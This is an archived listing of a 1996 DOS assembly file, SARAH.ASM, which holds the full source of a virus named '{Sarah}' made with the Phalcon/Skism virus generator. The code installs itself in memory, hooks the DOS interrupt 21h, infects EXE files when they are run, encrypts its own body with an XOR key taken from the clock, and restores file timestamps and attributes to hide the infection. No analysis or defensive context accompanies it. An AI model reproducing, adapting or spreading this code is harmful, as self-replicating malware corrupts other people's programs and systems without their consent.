home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SARAH.ASM < prev    next >
Assembly Source File  |  1996-05-26  |  10KB  |  284 lines

  1. ; sarah.asm : {Sarah} by Gehenna
  2. ; Created wik the Phalcon/Skism Mass-Produced Code Generator
  3. ; from the configuration file sarah.cfg
  4.  
  5. .model tiny                             ; Handy directive
  6. .code                                   ; Virus code segment
  7.           org    0                      ; For easy calculation of offsets
  8. id = 'EF'                               ; ID word for EXE infections
  9.  
  10. startvirus:
  11. decrypt:                                ; handles encryption and decryption
  12. patch_startencrypt:
  13.           mov  bx,offset startencrypt   ; start of decryption
  14.           mov  si,(offset heap - offset startencrypt)/2 ; iterations
  15. decrypt_loop:
  16.           db   2eh,81h,37h              ; xor word ptr cs:[bx], xxxx
  17. decrypt_value dw  0                     ; initialised at zero for null effect
  18.           inc  bx                       ; calculate new decryption location
  19.           inc  bx
  20.           dec  si                       ; If we are not done, then
  21.           jnz  decrypt_loop             ; decrypt mo'
  22. startencrypt:
  23.           call next                     ; calculate delta offset
  24. next:     pop  bp                       ; bp = IP next
  25.           sub  bp,offset next           ; bp = delta offset
  26.  
  27.           push ds
  28.           push es
  29.  
  30.           mov  ax,'DA'                  ; Installation check
  31.           int  21h
  32.           cmp  ax,'PS'                  ; Already installed?
  33.           jz  done_install
  34.  
  35.           mov  ax, es                   ; Get PSP
  36.           dec  ax
  37.           mov  ds, ax                   ; Get MCB
  38.  
  39.           sub  word ptr ds:[3],(endheap-startvirus+15)/16+1
  40.           sub  word ptr ds:[12h],(endheap-startvirus+15)/16+1
  41.           mov  ax,ds:[12h]
  42.           mov  ds, ax
  43.           inc  ax
  44.           mov  es, ax
  45.           mov  byte ptr ds:[0],'Z'      ; Mark end of chain
  46.           mov  word ptr ds:[1],8        ; Mark owner = DOS
  47.           mov  word ptr ds:[3],(endheap-startvirus+15)/16 ; Set size
  48.  
  49.           push cs
  50.           pop  ds
  51.           xor  di,di                    ; Destination
  52.           mov  cx,(heap-startvirus)/2+1 ; Bytes to zopy
  53.           mov  si,bp                    ; lea  si,[bp+offset startvirus]
  54.           rep  movsw
  55.  
  56.           mov  di,offset encrypt
  57.           mov  si,bp                    ; lea  si,[bp+offset startvirus]
  58.           mov  cx,startencrypt-decrypt
  59.           rep  movsb
  60.           mov  al,0c3h                  ; retn
  61.           stosb
  62.  
  63.           xor  ax,ax
  64.           mov  ds,ax
  65.           push ds
  66.           lds  ax,ds:[21h*4]            ; Get old int handler
  67.           mov  word ptr es:oldint21, ax
  68.           mov  word ptr es:oldint21+2, ds
  69.           pop  ds
  70.           mov  word ptr ds:[21h*4], offset int21 ; Replace with new handler
  71.           mov  ds:[21h*4+2], es         ; in high memory
  72. done_install:
  73.           pop  es
  74.           pop  ds
  75.           mov  ax,es                    ; AX = PSP segment
  76.           add  ax,10h                   ; Adjust for PSP
  77.           add  word ptr cs:[bp+oldCSIP+2],ax
  78.           add  ax,word ptr cs:[bp+oldSSSP+2]
  79.           cli                           ; Clear intrpts for stack manipulation
  80.           mov  sp,word ptr cs:[bp+oldSSSP]
  81.           mov  ss,ax
  82.           sti
  83.           db   0eah                     ; jmp ssss:oooo
  84. oldCSIP   dd 0fff00000h                 ; Needed for carrier file
  85. oldSSSP   dd ?                          ; Original SS:SP
  86.  
  87. virus     db '{Sarah}',0
  88. author    db '<Gehenna>',0
  89.  
  90. int21:                                  ; New interrupt handler
  91.           cmp  ax,'DA'                  ; Installation check?
  92.           jnz  notinstall
  93.           mov  ax,'PS'
  94.           iret
  95. notinstall:
  96.           pushf
  97.           push ax
  98.           push bx
  99.           push cx
  100.           push dx
  101.           push si
  102.           push di                       ; don't need to save bp
  103.           push ds
  104.           push es
  105.           cmp  ax,4b00h                 ; Infect on execute
  106.           jz   infectDSDX
  107. exithandler:
  108.           pop  es
  109.           pop  ds
  110.           pop  di
  111.           pop  si
  112.           pop  dx
  113.           pop  cx
  114.           pop  bx
  115.           pop  ax
  116.           popf
  117.           db 0eah                       ; JMP SSSS:OOOO
  118. oldint21  dd ?                          ; Go to orig handler
  119.  
  120. infectDSDX:
  121.           mov  ax,4300h
  122.           int  21h
  123.           push ds
  124.           push dx
  125.           push cx                       ; Save attributes
  126.           xor  cx,cx                    ; Clear attributes
  127.           call attributes               ; Set file attributes
  128.  
  129.           mov  ax,3d02h                 ; Open read/write
  130.           int  21h
  131.           xchg ax,bx
  132.  
  133.           mov  ax,5700h                 ; Get creation date/time
  134.           int  21h
  135.           push cx                       ; Save date and
  136.           push dx                       ; time
  137.  
  138.           push cs                       ; DS = CS
  139.           pop  ds
  140.           push cs                       ; ES = CS
  141.           pop  es
  142.           mov  ah,3fh                   ; Read file to buffer
  143.           mov  dx,offset buffer         ; @ DS:DX
  144.           mov  cx,1Ah                   ; 1Ah bytes
  145.           int  21h
  146.  
  147.           mov  ax,4202h                 ; Go to end of file
  148.           xor  cx,cx
  149.           cwd
  150.           int  21h
  151.  
  152.           mov  word ptr filesize,ax
  153.           mov  word ptr filesize+2,dx
  154. checkEXE:
  155.           cmp  word ptr buffer+10h,id   ; is it already infected?
  156.           jnz  infect_exe
  157. done_file:
  158.           mov  ax,5701h                 ; Restore creation date/time
  159.           pop  dx                       ; Restore date and
  160.           pop  cx                       ; time
  161.           int  21h
  162.  
  163.           mov  ah,3eh                   ; Close file
  164.           int  21h
  165.  
  166.           pop  cx
  167.           pop  dx
  168.           pop  ds                       ; Restore filename
  169.           call attributes               ; attributes
  170.  
  171.           jmp  exithandler
  172. infect_exe:
  173.           mov  cx, 1ah
  174.           push cx
  175.           push bx                       ; Save file handle
  176.           les  ax,dword ptr buffer+14h  ; Save old entry point
  177.           mov  word ptr oldCSIP, ax
  178.           mov  word ptr oldCSIP+2, es
  179.  
  180.           les  ax,dword ptr buffer+0Eh  ; Save old stack
  181.           mov  word ptr oldSSSP,es
  182.           mov  word ptr oldSSSP+2,ax
  183.  
  184.           mov  ax,word ptr buffer+8     ; Get header size
  185.           mov  cl, 4                    ; convert to bytes
  186.           shl  ax, cl
  187.           xchg ax, bx
  188.  
  189.           les  ax,dword ptr filesize    ; Get file size
  190.           mov  dx, es                   ; to DX:AX
  191.           push ax
  192.           push dx
  193.  
  194.           sub  ax, bx                   ; Subtract header size from
  195.           sbb  dx, 0                    ; file size
  196.  
  197.           mov  cx, 10h                  ; Convert to segment:offset
  198.           div  cx                       ; form
  199.  
  200.           mov  word ptr buffer+14h, dx  ; New entry point
  201.           mov  word ptr buffer+16h, ax
  202.  
  203.           mov  word ptr buffer+0Eh, ax  ; and stack
  204.           mov  word ptr buffer+10h, id
  205.  
  206.           pop  dx                       ; get file length
  207.           pop  ax
  208.           pop  bx                       ; Restore file handle
  209.  
  210.           add  ax, heap-startvirus      ; add virus size
  211.           adc  dx, 0
  212.  
  213.           mov  cl, 9
  214.           push ax
  215.           shr  ax, cl
  216.           ror  dx, cl
  217.           stc
  218.           adc  dx, ax
  219.           pop  ax
  220.           and  ah, 1                    ; mod 512
  221.  
  222.           mov  word ptr buffer+4, dx    ; new file size
  223.           mov  word ptr buffer+2, ax
  224.  
  225.           push cs                       ; restore ES
  226.           pop  es
  227.  
  228.           mov  ax,word ptr buffer+14h   ; needed later
  229. finishinfection:
  230.           add  ax,offset startencrypt-offset decrypt
  231.           mov  word ptr encrypt+(patch_startencrypt-startvirus)+1,ax
  232.  
  233. get_encrypt_value:
  234.           mov  ah,2ch                   ; Get current time
  235.           int  21h                      ; dh=sec,dl=1/100 sec
  236.           or   dx,dx                    ; Check if encryption value = 0
  237.           jz   get_encrypt_value        ; Get another if it is
  238.           mov  word ptr encrypt+(decrypt_value-startvirus),dx ; New encrypt. value
  239.           xor  si,si                    ; copy virus to buffer
  240.           mov  di,offset zopystuff
  241.           mov  cx,heap-startvirus
  242.           rep  movsb
  243.  
  244.           mov  si,offset encrypt        ; copy encryption function
  245.           mov  di,offset zopystuff
  246.           mov  cx,startencrypt-decrypt
  247.           rep  movsb
  248.  
  249.           mov  word ptr [encrypt+(patch_startencrypt-startvirus)+1],offset zopystuff+(startencrypt-decrypt)
  250.  
  251.           push bx
  252.           call encrypt
  253.           pop  bx
  254.  
  255.           mov  ah,40h                   ; Concatenate virus
  256.           mov  dx,offset zopystuff
  257.           mov  cx,heap-startvirus       ; # bytes to write
  258.           int  21h
  259.  
  260.           mov  ax,4200h                 ; Move file pointer
  261.           xor  cx,cx                    ; to beginning of file
  262.           cwd                           ; xor dx,dx
  263.           int  21h
  264.  
  265.           mov  ah,40h                   ; Write to file
  266.           mov  dx,offset buffer         ; Write from buffer
  267.           pop  cx                       ; cx bytes
  268.           int  21h
  269.  
  270.           jmp  done_file
  271.  
  272. attributes:
  273.           mov  ax,4301h                 ; Set attributes to cx
  274.           int  21h
  275.           ret
  276.  
  277. heap:                                   ; Variables not in code
  278. filesize  dd ?
  279. encrypt:  db startencrypt-decrypt+1 dup (?)
  280. zopystuff db heap-startvirus dup (?)    ; Encryption buffer
  281. buffer    db 1ah dup (?)                ; read buffer
  282. endheap:                                ; End of virus
  283. end       startvirus
  284.